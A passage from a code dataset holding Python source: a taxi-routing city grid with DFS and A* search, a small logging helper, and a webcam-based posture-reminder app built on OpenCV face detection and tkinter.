self.cityMatrix[sourceNodeX][sourceNodeY].setVisit()\n\n #Third, create a stack\n stack = []\n\n #4, add the sourceNode to the stack\n stack.append(sourceNode)\n\n #Fifth, while the stack is not empty\n while( stack != []):\n #Sixth, extract node from the stack\n nodeFromStack = stack.pop()\n\n #Finish condition\n if(nodeFromStack.getNodeValue() == destinationNode.getNodeValue()):\n break\n\n #7, extract the adjacent list\n adjacentNodesList = nodeFromStack.getAdjacentNodesList()\n\n #8, explore all adjacent nodes\n for i in range(0, len(adjacentNodesList)):\n\n #9, get adjacent node and then get its coordinates\n adjacentNodeX = adjacentNodesList[i][0]\n adjacentNodeY = adjacentNodesList[i][1]\n adjacentNode = self.searchNodeByCoordinates(adjacentNodeX,adjacentNodeY)\n \n #10, if the adjacent node is not visited, then set as visited\n if(adjacentNode.isVisited() == False and (adjacentNode.getNodeType() == \"street\" or\n (adjacentNode.getNodeType() == \"block\" and adjacentNode.getNodeValue()== destinationNode.getNodeValue()) or\n adjacentNode.getBlockAsNeighbor() == True)):\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setVisit()\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setFather((nodeFromStack.getX(),nodeFromStack.getY()))\n\n #11, Add the adjacentNode to the stack\n stack.append(adjacentNode)\n\n #12, then build the path\n self.buildTravel(destinationNode)\n\n #13, reset all of the fathers\n self.resetFatherNodes()\n\n #14, reset all the nodes as not visited\n self.setNodesAsNotVisited()\n\n\n #This method is in charge of perform the A*\n def astar(self, destinationNode):\n #For the beginning, I use this\n self.haveBlockAsNeighbor()\n \n #Search the taxi node\n sourceNode = self.searchTaxiNode()\n\n #Create the open list\n openList = []\n\n #Step 1: Add the sourceNode to the open list\n openList.append(sourceNode)\n\n #While the open list is not empty\n while( openList != []):\n\n #Step 2: Extract the first node from the open list\n nodeFromOpenList = openList[0]\n del openList[0] #Delete the item extracted from the openList\n\n #Set the finish condition\n if(nodeFromOpenList.getNodeValue() == destinationNode.getNodeValue()):\n break\n\n #Step 3: Set the fist node from the open list as visited\n nodeFromOpenListX = nodeFromOpenList.getX()\n nodeFromOpenListY = nodeFromOpenList.getY()\n self.cityMatrix[nodeFromOpenListX][nodeFromOpenListY].setVisit()\n\n #Step 4: Extract the adjacent list of the extracted node from the open list\n adjacentNodesList = nodeFromOpenList.getAdjacentNodesList()\n\n #Step 5: For all the adjacent nodes\n for i in range(0, len(adjacentNodesList)):\n\n #Step 6: Get the adjacent node\n adjacentNodeX = adjacentNodesList[i][0]\n adjacentNodeY = adjacentNodesList[i][1]\n adjacentNode = self.searchNodeByCoordinates(adjacentNodeX,adjacentNodeY)\n \n #Step 8: Recalculate factors\n if(adjacentNode.isVisited() == False and (adjacentNode.getNodeType() == \"street\" or\n (adjacentNode.getNodeType() == \"block\" and adjacentNode.getNodeValue()== destinationNode.getNodeValue()) or\n adjacentNode.getBlockAsNeighbor() == True)):\n\n #First: Calculate g(n)\n g = self.calculateG(nodeFromOpenList, adjacentNode)\n \n #Second: Calculate h(n)\n h = self.calculateH(nodeFromOpenList, destinationNode)\n\n #Third: Calculate f(n)\n f = g + h\n\n #Checks if the node is already in the adjacent list\n if(self.isTheNodeAlreadyInTheList(openList, adjacentNode) == True):\n if(f < adjacentNode.getCost()):\n #Fourth: Update f(n), g(n) and h(n)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setH(h)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setD(g)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setCost(f)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setFather((nodeFromOpenList.getX(),nodeFromOpenList.getY()))\n\n #This instructions is use to assign the cost and reorder the list in a good way\n adjacentNode.setCost(f)\n\n #If the node is not in the adjacent list\n else:\n #Fourth: Update f(n), g(n) and h(n)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setH(h)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setD(g)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setCost(f)\n self.cityMatrix[adjacentNodeX][adjacentNodeY].setFather((nodeFromOpenList.getX(),nodeFromOpenList.getY()))\n\n #This instructions is use to assign the cost and reorder the list in a good way\n adjacentNode.setCost(f)\n \n #11, Add the adjacentNode to the open list\n openList.append(adjacentNode)\n\n #After go over all the adjacent nodes, reorder the list according the cost value\n openList = self.reorderOpenList(openList)\n\n #Then build the path\n self.buildTravel(destinationNode)\n\n #13, reset all of the fathers\n self.resetFatherNodes()\n\n #14, reset all the nodes as not visited\n self.setNodesAsNotVisited()\n\n\n #This method calculates g(n) for the a*\n def calculateG(self,actualNode, adyacentNode):\n adyacentNodeX = adyacentNode.getX()\n adyacentNodeY = adyacentNode.getY()\n actualNodeX = actualNode.getX()\n actualNodeY = actualNode.getY()\n g = abs(adyacentNodeX - actualNodeX) + abs(adyacentNodeY - actualNodeY)\n\n return g\n\n #This method calculates h(n) for the a*\n def calculateH(self,actualNode, destinationNode):\n destinationNodeX = destinationNode.getX()\n destinationNodeY = destinationNode.getY()\n actualNodeX = actualNode.getX()\n actualNodeY = actualNode.getY()\n h = abs(destinationNodeX - actualNodeX) + abs(destinationNodeY - actualNodeY)\n\n return h\n\n #This method reorder the list in an ascendent way for the a*\n def reorderOpenList(self,openList):\n listWithCostReorder = self.createAListWithAllCostValuesAscendent(openList)\n newListReorder = []\n for i in range(0, len(openList)):\n index = listWithCostReorder[i][0]\n node = openList[index]\n newListReorder.append(node)\n\n return newListReorder\n\n #Auxiliar method for the reorderOpenList\n def createAListWithAllCostValuesAscendent(self,openList):\n listWithCostValuesOnly = []\n for i in range(0, len(openList)):\n cost = openList[i].getCost()\n listWithCostValuesOnly.append((i, cost))\n\n reorderList = sorted(listWithCostValuesOnly,key=itemgetter(1)) \n return reorderList\n\n #This method indicates if there is a node already in a list\n def isTheNodeAlreadyInTheList(self, openList, node):\n isAlready = False\n for i in range(0, len(openList)):\n nodeFromOpenList = openList[i]\n nodeFromOpenListX = nodeFromOpenList.getX()\n nodeFromOpenListY = nodeFromOpenList.getY()\n nodeX = node.getX()\n nodeY = node.getY()\n if(nodeX == nodeFromOpenListX and nodeY == nodeFromOpenListY):\n isAlready = True\n break\n \n return isAlready\n\n #This method is in charge of set all the nodes as not visited\n def setNodesAsNotVisited(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n self.cityMatrix[i][j].resetVisit()\n\n #This method is in charge of set all the nodes as not visited\n def resetFatherNodes(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n self.cityMatrix[i][j].setFather(0)\n\n #This method is in charge of search any client\n def searchAnyClient(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"O\"):\n return self.cityMatrix[i][j]\n\n #This method is in charge of adding N Random Clients to the City\n def addRandomClients(self,n):\n listOfClientsCoordinates = []\n taxiNode = self.searchTaxiNode()\n for i in range(0,n):\n listOfBlocks = self.searchAllBlocks() #Get a list with all of the blocks\n randomOriginIndex = randint(0,len(listOfBlocks)-1) #This is for the origin of the client\n randomDestinationIndex = randint(0,len(listOfBlocks)-1) #This is for the destination of the client\n\n ###This is to verificate that the origin dont overwrite a taxi or another client\n \n\n #This is to verificate that the destination and the origin are not the same\n while(randomOriginIndex == randomDestinationIndex):\n randomDestinationIndex = randint(0,len(listOfBlocks)-1) #This is for the destination of the client\n\n #Establish the coordinates of the client\n clientX = listOfBlocks[randomOriginIndex].getX() - 1\n clientY = listOfBlocks[randomOriginIndex].getY()\n\n #Get the client node\n clientNode = self.cityMatrix[clientX][clientY]\n\n if(clientNode.getNodeValue() != \"O\" and clientNode.getNodeValue() != \"D\"):\n self.cityMatrix[clientX][clientY].setNodeValue(\"O\")\n self.cityMatrix[clientX][clientY].setHaveAClient()\n self.cityMatrix[clientX][clientY].setInitialBlockToClient(listOfBlocks[randomOriginIndex].getNodeValue())\n self.cityMatrix[clientX][clientY].setDestinationBlockToClient(listOfBlocks[randomDestinationIndex].getNodeValue())\n listOfClientsCoordinates.append([clientX,clientY])\n\n else:\n #Establish the coordinates of the client\n clientX = listOfBlocks[randomOriginIndex].getX() + 1\n clientY = listOfBlocks[randomOriginIndex].getY()\n #Get the client node\n clientNode = self.cityMatrix[clientX][clientY]\n if(clientNode.getNodeValue() != \"O\" and clientNode.getNodeValue() != \"D\"):\n self.cityMatrix[clientX][clientY].setNodeValue(\"O\")\n self.cityMatrix[clientX][clientY].setHaveAClient()\n self.cityMatrix[clientX][clientY].setInitialBlockToClient(listOfBlocks[randomOriginIndex].getNodeValue())\n self.cityMatrix[clientX][clientY].setDestinationBlockToClient(listOfBlocks[randomDestinationIndex].getNodeValue())\n listOfClientsCoordinates.append([clientX,clientY])\n\n \n\n return listOfClientsCoordinates\n\n #This method is in charge of adding a specific client to the City (c1 y c2 son Strings)\n def addSpecificClient(self,c1,c2):\n #Get initial and destination blocks\n initialNode = self.searchNodeByValue(c1)\n destinationNode = self.searchNodeByValue(c2)\n \n #Establish the coordinates of the client\n clientX = initialNode.getX() - 1\n clientY = initialNode.getY()\n\n #Get the client node\n clientNode = self.cityMatrix[clientX][clientY]\n\n if(clientNode.getNodeValue() != \"O\"):\n self.cityMatrix[clientX][clientY].setNodeValue(\"O\")\n self.cityMatrix[clientX][clientY].setHaveAClient()\n self.cityMatrix[clientX][clientY].setInitialBlockToClient(initialNode.getNodeValue())\n self.cityMatrix[clientX][clientY].setDestinationBlockToClient(destinationNode.getNodeValue())\n\n else:\n #Establish the coordinates of the client\n clientX = initialNode.getX() + 1\n clientY = initialNode.getY()\n self.cityMatrix[clientX][clientY].setNodeValue(\"O\")\n self.cityMatrix[clientX][clientY].setHaveAClient()\n self.cityMatrix[clientX][clientY].setInitialBlockToClient(initialNode.getNodeValue())\n self.cityMatrix[clientX][clientY].setDestinationBlockToClient(destinationNode.getNodeValue())\n\n return [clientX,clientY]\n\n #This method is in charge of set the destination and origin of the nodes that are from the beginning of the map\n def addClientFromTheBeginningClient(self):\n #For the beginning, I use this\n self.haveBlockAsNeighbor()\n\n listOfBlocks = self.searchAllBlocks() #Get a list with all of the blocks\n\n ##Go over the city to find all of the clients that are from the beginning\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"O\"):\n origin = self.cityMatrix[i][j].getBlockOfWall()\n self.cityMatrix[i][j].setInitialBlockToClient(origin)\n \n randomDestinationIndex = randint(0,len(listOfBlocks)-1) #This is for the destination of the client\n\n #This is to verificate that the destination and the origin are not the same\n while(origin == listOfBlocks[randomDestinationIndex].getNodeValue()):\n randomDestinationIndex = randint(0,len(listOfBlocks)-1) #This is for the destination of the client\n\n #Add the destination\n self.cityMatrix[i][j].setDestinationBlockToClient(listOfBlocks[randomDestinationIndex].getNodeValue())\n \n #This method is in charge of park the Taxi in C block, C is a string\n def parkTaxi(self,c):\n destinationNode = self.searchNodeByValue(c)\n\n ##For the moment, Im going to use the BFS search algorithm\n # self.astar(destinationNode)\n self.DFS(destinationNode)\n\n #Return the travel\n return self.routeToTravel\n\n #This method is in charge of show the route to a destination\n def taxiRouteToDestination(self):\n #Return the travel\n return self.routeToTravel\n\n #This method is in charge of show all of the routes travel by the taxi\n def showAllTaxiRoutes(self):\n #Return the travel\n return self.routesVisited\n\n #This method is use to search all of the clients\n def search(self):\n areThereClients = self.isThereAClient()\n self.taxiInitialPosition = self.searchTaxiNode()\n self.clientsList = []\n self.searchList = []\n while(areThereClients != False):\n\n #Search for a client node\n clientNode = self.searchClientNode()\n\n #Append the client coordinates\n self.clientsList.append((clientNode.getX(),clientNode.getY()))\n\n #Get the destination block of that client\n destinationBlock = self.cityMatrix[clientNode.getX()][clientNode.getY()].getDestinationBlockOfTheClient()\n\n #Get the destination node\n destinationNode = self.searchNodeByValue(destinationBlock)\n\n #Calculate the path to go and pick up the client\n self.astar(clientNode)\n \n #Append the path to the search list\n self.searchList.append(self.routeToTravel)\n\n #Update the position of the taxi\n self.updateInitialAndFinalValue()\n\n #Then calculate the path to go and leave the client in its destiny\n self.astar(destinationNode)\n\n #Append the path to the search list\n self.searchList.append(self.routeToTravel)\n\n #Reset the client\n self.cityMatrix[clientNode.getX()][clientNode.getY()].setNodeValue(\"-\")\n self.cityMatrix[clientNode.getX()][clientNode.getY()].resetHaveAClient()\n self.cityMatrix[clientNode.getX()][clientNode.getY()].setNodeType(\"wall\")\n self.cityMatrix[clientNode.getX()][clientNode.getY()].client = Client()\n\n #Update the position of the taxi\n self.updateInitialAndFinalValue()\n\n #See if there clients\n areThereClients = self.isThereAClient()\n\n #Then return the list with all the path that the taxi has to go\n return self.searchList\n\n #This method is in charge of go over the city with the taxi\n def taxiTravel(self):\n #Get all of the blocks available\n listOfBlocks = self.searchAllBlocks()\n\n #This is for the origin of the client\n randomOriginIndex = randint(0,len(listOfBlocks)-1)\n\n #Get a random block to go\n randomBlock = listOfBlocks[randomOriginIndex]\n\n #Specify the destination node as the random block\n destinationNode = randomBlock\n\n ##For the moment, Im going to use the BFS search algorithm\n self.astar(destinationNode)\n\n #Return the travel\n return self.routeToTravel\n\n #This method build all of the travel\n def buildTravel(self, destinationNode):\n #Reset the route to travel\n self.routeToTravel = []\n \n destinationNodeX = destinationNode.getX()\n destinationNodeY = destinationNode.getY()\n fatherCoordinates = self.cityMatrix[destinationNodeX][destinationNodeY].getFather() #Get father coordinates of the destination node\n father = self.cityMatrix[fatherCoordinates[0]][fatherCoordinates[1]]\n\n #While the father is different from the taxi node\n while (father.getNodeValue() != \"D\"):\n self.routeToTravel.append(fatherCoordinates)\n fatherCoordinates = father.getFather()\n father = self.cityMatrix[fatherCoordinates[0]][fatherCoordinates[1]]\n\n #Then reverse the list\n self.routeToTravel.reverse()\n\n #Add the route to the routes visited list\n self.routesVisited.append(self.routeToTravel)\n \n\n #This method is in charge of search a node by the coordinates\n def searchNodeByCoordinates(self,x,y):\n return self.cityMatrix[x][y]\n\n #This method is in charge of search a node by the value of the node\n def searchNodeByValue(self, nodeValue):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == nodeValue):\n return self.cityMatrix[i][j]\n\n #This method is in charge of search a node by the type of the node\n def searchNodeByType(self, nodeType):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeType() == nodeType):\n return self.cityMatrix[i][j]\n\n #This method is in charge of search the taxi node\n def searchTaxiNode(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"D\"):\n self.actualNode = self.cityMatrix[i][j]\n return self.cityMatrix[i][j]\n\n \n #This method set all the walls (-) that have blocks as neighbors\n def haveBlockAsNeighbor(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(i+1 < self.rows):\n if((self.cityMatrix[i][j].getNodeValue() == \"-\" or\n self.cityMatrix[i][j].getNodeValue() == \"O\" or self.cityMatrix[i][j].getNodeValue() == \"D\" or self.cityMatrix[i][j].getNodeValue() == \" \")\n and self.cityMatrix[i+1][j].getNodeType() == \"block\"):\n self.cityMatrix[i][j].setBlockAsNeighbor()\n self.cityMatrix[i][j].setBlockToWall(self.cityMatrix[i+1][j].getNodeValue())\n if(i-1 >= 0):\n if ((self.cityMatrix[i][j].getNodeValue() == \"-\" or\n self.cityMatrix[i][j].getNodeValue() == \"O\" or self.cityMatrix[i][j].getNodeValue() == \"D\" or self.cityMatrix[i][j].getNodeValue() == \" \")\n and self.cityMatrix[i-1][j].getNodeType() == \"block\"):\n self.cityMatrix[i][j].setBlockAsNeighbor()\n self.cityMatrix[i][j].setBlockToWall(self.cityMatrix[i-1][j].getNodeValue())\n\n #This method is in charge of return a list with all of the node blocks availables\n def searchAllBlocks(self):\n blocks = []\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeType() == \"block\" and self.cityMatrix[i][j].getNodeValue() != \" \"):\n blocks.append(self.cityMatrix[i][j])\n return blocks\n\n\n #This method is in charge of search any client\n def searchClientNode(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"O\"):\n return self.cityMatrix[i][j]\n\n #This method is in charge of return a list with the positions of the clients\n def searchAllClients(self):\n clientPositions = []\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"O\"):\n clientPositions.append((self.cityMatrix[i][j].getX(),self.cityMatrix[i][j].getY()))\n return clientPositions\n\n #This method is in charge of return a list with the positions of the walls\n def searchAllWalls(self):\n wallsPositions = []\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"-\"):\n wallsPositions.append((self.cityMatrix[i][j].getX(),self.cityMatrix[i][j].getY()))\n return wallsPositions\n \n #This method is in charge of reset all clients\n def resetAllClients(self):\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"O\"):\n self.cityMatrix[i][j].setNodeValue(\"-\")\n self.cityMatrix[i][j].setNodeType(\"wall\")\n self.cityMatrix[i][j].client = Client()\n self.cityMatrix[i][j].resetHaveAClient()\n\n #This method is in charge of reset a client\n def resetClient(self,x,y):\n self.cityMatrix[x][y].setNodeValue(\"-\")\n self.cityMatrix[x][y].setNodeType(\"wall\")\n self.cityMatrix[x][y].client = Client()\n self.cityMatrix[x][y].resetHaveAClient()\n\n #This method is in charge of tell if there are some clients\n def isThereAClient(self):\n clientsExist = False\n for i in range(0,self.rows):\n for j in range(0,self.columns):\n if(self.cityMatrix[i][j].getNodeValue() == \"O\"):\n clientsExist = True\n \n return clientsExist\n\n #This method print a route\n def printRoute(self):\n for i in range(0, len(self.routeToTravel)):\n print(\"Nodo visitado-> x: \", self.routeToTravel[i][0])\n print(\"Nodo visitado-> y: \", self.routeToTravel[i][1])\n print()\n\n #This method update the initial node and final node value of the matrix\n def updateInitialAndFinalValue(self):\n if(len(self.routeToTravel) > 1):\n initialNodeCoordinates = self.searchTaxiNode()\n finalNodeCoordinates = self.routeToTravel[len(self.routeToTravel)-1]\n \n #Update initial node value\n self.cityMatrix[initialNodeCoordinates.getX()][initialNodeCoordinates.getY()].setNodeValue(\" \")\n\n #Update final node value\n self.cityMatrix[finalNodeCoordinates[0]][finalNodeCoordinates[1]].setNodeValue(\"D\")\n\n\n#This method return an CityGraph Object\ndef createCityGraph(matrix):\n cityGraph = CityGraph(matrix)\n return cityGraph\n","sub_path":"Proyectos/Proyecto1/CityObjects.py","file_name":"CityObjects.py","file_ext":"py","file_size_in_byte":39312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"195410550","text":"import pathlib\nimport logging\nfrom datetime import datetime\nfrom ._connection import Connection\n\n\ndef configure_logging(level=logging.INFO, show_in_console=True, dump_to_file=False):\n logger = logging.getLogger(__name__)\n logger.setLevel(level)\n fmt = logging.Formatter(\"[%(asctime)s] [%(name)s] [%(levelname)s] %(message)s\")\n if show_in_console:\n ch = logging.StreamHandler()\n ch.setFormatter(fmt)\n logger.addHandler(ch)\n if dump_to_file:\n logs_store_path = pathlib.Path(\".\") / \"logs\"\n logs_store_path.mkdir(exist_ok=True)\n fh = logging.FileHandler(\n logs_store_path / f\"{__name__}{datetime.now().strftime('%Y%m%d-%H%M%S')}.log\"\n )\n fh.setFormatter(fmt)\n logger.addHandler(fh)\n","sub_path":"signalr_aio/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"486579600","text":"import cv2\nimport time\nfrom plyer import notification # for getting notification on your PC\n#from argonomic import vidoe_camera\nimport tkinter\nfrom tkinter.ttk import *\nimport PIL.Image, PIL.ImageTk\nimport threading\n\ngt = None\n\ndef popup_message(accept_title, accept_message):\n notification.notify(\n # title of the notification,\n title=accept_title,\n # the body of the notification\n message=accept_message,\n # creating icon for the notification\n # we need to download a icon of ico file format\n app_icon=r'logo\\note1.ico',\n\n # the notification stays for 50sec\n timeout=50\n )\n\ndef start_process():\n\tcap = cv2.VideoCapture(0)\n\tcv2.namedWindow('AppRight', cv2.WINDOW_NORMAL)\n\treturn cap\n\n\ndef show_video():\n\tcap = start_process()\n\tglobal recordControl\n\twhile True:\n\t\t# now = datetime.now()\n\t\t# time = datetime.time(now)\n\t\t# name = \"capture_\" + now.strftime(\"%y%m%d\") + time.strftime(\"%H%M%S\") + \".jpg\"\n\t\tret, frame = cap.read()\n\t\tif ret is True:\n\t\t\tframe = cv2.flip(frame, 1) # 1 = vertical , 0 = horizontal\n\n\t\t\tcv2.imshow('AppRight', frame)\n\n\t\t\tk = cv2.waitKey(1) & 0Xff\n\t\t\tif k == ord('q'): # Quit program and recording\n\t\t\t\tcap.release()\n\t\t\t\tcv2.destroyAllWindows()\n\t\t\t\tbreak\n\t\t\telif k in [32, 13]: # capture Image, captures image when the user clicks on whitespace (32) or enter (13)\n\t\t\t\tcap.release()\n\t\t\t\tcv2.destroyAllWindows()\n\t\t\t\treturn frame\n\t\telse:\n\t\t\tbreak\n\n\nclass App:\n def __init__(self, window, window_title, image_path=\"logo\\logo15.jpg\"):\n self.window = window\n self.window.title(window_title)\n self.is_closed = True\n\n # Load an image using OpenCV\n self.cv_img = cv2.cvtColor(cv2.imread(image_path), cv2.COLOR_BGR2RGB)\n #self.cv_img = cv2.Canny(, 50, 100)640w, 480h\n\n # Get the image dimensions (OpenCV stores image data as NumPy ndarray)\n self.height, self.width, no_channels = self.cv_img.shape\n\n # Create a canvas that can fit the above image\n self.canvas = tkinter.Canvas(window, width = self.width, height = self.height)\n self.canvas.pack()\n\n # Use PIL (Pillow) to convert the NumPy ndarray to a PhotoImage\n self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(self.cv_img))\n\n # Add a PhotoImage to the Canvas\n self.canvas.create_image(0, 0, image=self.photo, anchor=tkinter.NW)\n\n # Button that lets the user blur the image\n self.btn_blur=tkinter.Button(window, text=\"Start\", width=50, command=self.blur_image)\n self.btn_blur.pack(anchor=tkinter.CENTER, expand=True)\n\n self.window.mainloop()\n\n # Callback for the \"Blur\" button\n def blur_image(self):\n # self.cv_img = cv2.blur(self.cv_img, (3, 3))\n # self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(self.cv_img))\n # self.canvas.create_image(0, 0, image=self.photo, anchor=tkinter.NW)\n self.window.destroy()\n self.is_closed = False\n # Calibration(tkinter.Tk(), \"Appright\")\n\nclass Window(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n self.start()\n\n def run(self):\n self.window = tkinter.Tk()\n self.window.title(\"Appright\")\n\n\n # Load an image using OpenCV\n self.cv_img = cv2.cvtColor(cv2.imread(\"logo\\logo15.jpg\"), cv2.COLOR_BGR2RGB)\n #self.cv_img = cv2.Canny(, 50, 100)640w, 480h\n\n # Get the image dimensions (OpenCV stores image data as NumPy ndarray)\n self.height, self.width, no_channels = self.cv_img.shape\n\n # Create a canvas that can fit the above image\n self.canvas = tkinter.Canvas(self.window, width = self.width, height = self.height)\n self.canvas.pack()\n\n # Use PIL (Pillow) to convert the NumPy ndarray to a PhotoImage\n self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(self.cv_img))\n\n # Add a PhotoImage to the Canvas\n self.canvas.create_image(0, 0, image=self.photo, anchor=tkinter.NW)\n\n # Button that lets the user blur the image\n self.btn_blur=tkinter.Button(self.window, text=\"restart picture\", width=50, command=self.blur_image)\n self.btn_blur.pack(anchor=tkinter.CENTER, expand=True)\n\n self.window.mainloop()\n\n # Callback for the \"Blur\" button\n def blur_image(self):\n # self.cv_img = cv2.blur(self.cv_img, (3, 3))\n # self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(self.cv_img))\n # self.canvas.create_image(0, 0, image=self.photo, anchor=tkinter.NW)\n self.window.destroy()\n Calibration(tkinter.Tk(), \"Appright\")\n # Calibration(tkinter.Tk(), \"Appright\")\n\n\nclass Calibration:\n def __init__(self, window, window_title, video_source=0):\n self.window = window\n self.window.title(window_title)\n self.video_source = video_source\n self.is_colse = True\n\n #p1 = PhotoImage(file='logo.jpg')\n\n # open video source (by default this will try to open the computer webcam)\n self.vid = MyVideoCapture(self.video_source)\n\n # Create a canvas that can fit the above video source size\n self.canvas = tkinter.Canvas(window, width = self.vid.width, height = self.vid.height)\n self.canvas.pack()\n\n # Button that lets the user take a snapshot\n self.btn_snapshot=tkinter.Button(window, text=\"Snapshot\", width=50, command=self.snapshot)\n self.btn_snapshot.pack(anchor=tkinter.CENTER, expand=True)\n\n # After it is called once, the update method will be automatically called every delay milliseconds\n self.delay = 15\n self.update()\n\n self.window.mainloop()\n\n def snapshot(self):\n # Get a frame from the video source\n ret, frame = self.vid.get_frame()\n\n if ret:\n #cv2.imwrite(\"frame-\" + time.strftime(\"%d-%m-%Y-%H-%M-%S\") + \".jpg\", cv2.cvtColor(frame, cv2.COLOR_RGB2BGR))\n self.vid.__del__()\n self.canvas.destroy()\n self.window.destroy()\n #App(tkinter.Tk(), \"Appright\")\n global gt\n gt = frame\n self.is_colse = False\n Window()\n #return frame\n\n def update(self):\n # Get a frame from the video source\n ret, frame = self.vid.get_frame()\n\n if ret:\n self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(frame))\n self.canvas.create_image(0, 0, image = self.photo, anchor = tkinter.NW)\n\n self.window.after(self.delay, self.update)\n\n\nclass MyVideoCapture:\n def __init__(self, video_source=0):\n # Open the video source\n self.vid = cv2.VideoCapture(video_source)\n if not self.vid.isOpened():\n popup_message(\"Fialed\", \"unable to open video source\")\n return\n\n # Get video source width and height\n self.width = self.vid.get(cv2.CAP_PROP_FRAME_WIDTH)\n self.height = self.vid.get(cv2.CAP_PROP_FRAME_HEIGHT)\n\n def get_frame(self):\n if self.vid.isOpened():\n ret, frame = self.vid.read()\n if ret:\n # Return a boolean success flag and the current frame converted to BGR\n return (ret, cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n else:\n return (ret, None)\n else:\n return (None, None)\n\n # Release the video source when the object is destroyed\n def __del__(self):\n if self.vid.isOpened():\n self.vid.release()\n\n\ndef get_face_sizes(picture):\n \"\"\"\n :param picture: a picture\n :return: the size of the person in the picture 'picture'\n \"\"\"\n gray = cv2.cvtColor(picture, cv2.COLOR_BGR2GRAY)\n faceCascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.3,\n minNeighbors=3,\n minSize=(30, 30)\n )\n max_face_size = 0\n max_sizes = {'max_face_size': max_face_size, 'x': 0, 'y': 0, 'width': 0, 'height': 0}\n for (x, y, width, height) in faces:\n face_size = width * height\n if face_size > max_sizes['max_face_size']:\n max_sizes['max_face_size'] = face_size\n max_sizes['x'] = x\n max_sizes['y'] = y\n max_sizes['width'] = width\n max_sizes['height'] = height\n\n return max_sizes\n\n\ndef take_picture(cap, click_required=False):\n # Open the device at the ID 0\n # Use the camera ID based on\n # /dev/videoID needed\n\n ret, frame = cap.read()\n frame = cv2.resize(frame, None, fx=1, fy=1, interpolation=cv2.INTER_AREA)\n print(\"Taking picture...\")\n\n # if needed, wait for click from user\n if click_required:\n cv2.imshow(\"AppRight\", frame)\n keyboard_click = -1\n while keyboard_click not in [ord('a'),10]:\n keyboard_click = cv2.waitKey(2)\n # max_face = get_face_sizes(frame)\n # cv2.rectangle(frame, (max_face['x'], max_face['y']), (\n # max_face['x'] + max_face['width'],\n # max_face['y'] + max_face['height']), (0, 255, 0), 2)\n # cv2.imshow(\"AppRight\", frame)\n return frame\n\n\ndef restart_app(threshold=30, seconds_to_sleep=3, max_differences=2):\n count_difference = 0\n picture_number = 0\n\n # waiting for user clicking\n\n # initial_picture = take_picture(click_required=True)\n app = App(tkinter.Tk(), \"Appright\")\n if app.is_closed:\n return\n calibration = Calibration(tkinter.Tk(), \"Appright\")\n if calibration.is_colse:\n return\n initial_picture = gt# show_video() #App(tkinter.Tk(), \"Appright\")vidoe_camera.\n print(\"******** You are all set! ********\")\n # cv2.imshow(\"preview\", initial_picture)\n initial_picture_face_size = get_face_sizes(initial_picture)\n cv2.rectangle(initial_picture, (initial_picture_face_size['x'], initial_picture_face_size['y']), (\n initial_picture_face_size['x'] + initial_picture_face_size['width'],\n initial_picture_face_size['y'] + initial_picture_face_size['height']), (0, 255, 0), 2)\n cv2.imwrite('height_test\\initial_picture.jpg', initial_picture)\n\n cap = cv2.VideoCapture(0)\n # Check if camera was opened correctly\n if not (cap.isOpened()):\n print(\"Could not open video device\")\n exit()\n print(\"Camera opened successfully\")\n\n while True:\n picture_number += 1\n current_picture = take_picture(cap)\n current_picture_face_size = get_face_sizes(current_picture)\n # cv2.rectangle(current_picture, (current_picture_face_size['x'], current_picture_face_size['y']), (current_picture_face_size['x'] + current_picture_face_size['width'], current_picture_face_size['y'] + current_picture_face_size['height']), (0, 255, 0), 2)\n # cv2.imwrite('height_test\\\\' + str(picture_number) + '.jpg', current_picture)\n\n if current_picture_face_size['height'] - initial_picture_face_size['height'] > threshold:\n count_difference += 1\n else:\n count_difference = 0\n\n if count_difference >= max_differences:\n print('******** Problem!!! ********')\n popup_message(\"AppRight\", \"Reminder:\\nSit healthy\")\n # return False\n count_difference = 0\n # take a picture every 5 seconds\n time.sleep(seconds_to_sleep)\n\n cap.release()\n cv2.destroyAllWindows()\n\n#\n# def run():\n# is_stable = restart_app()\n# while True:\n# restart_app()\n\n#App(tkinter.Tk(), \"Appright\")\nrestart_app()\n\n# App(tkinter.Tk(), 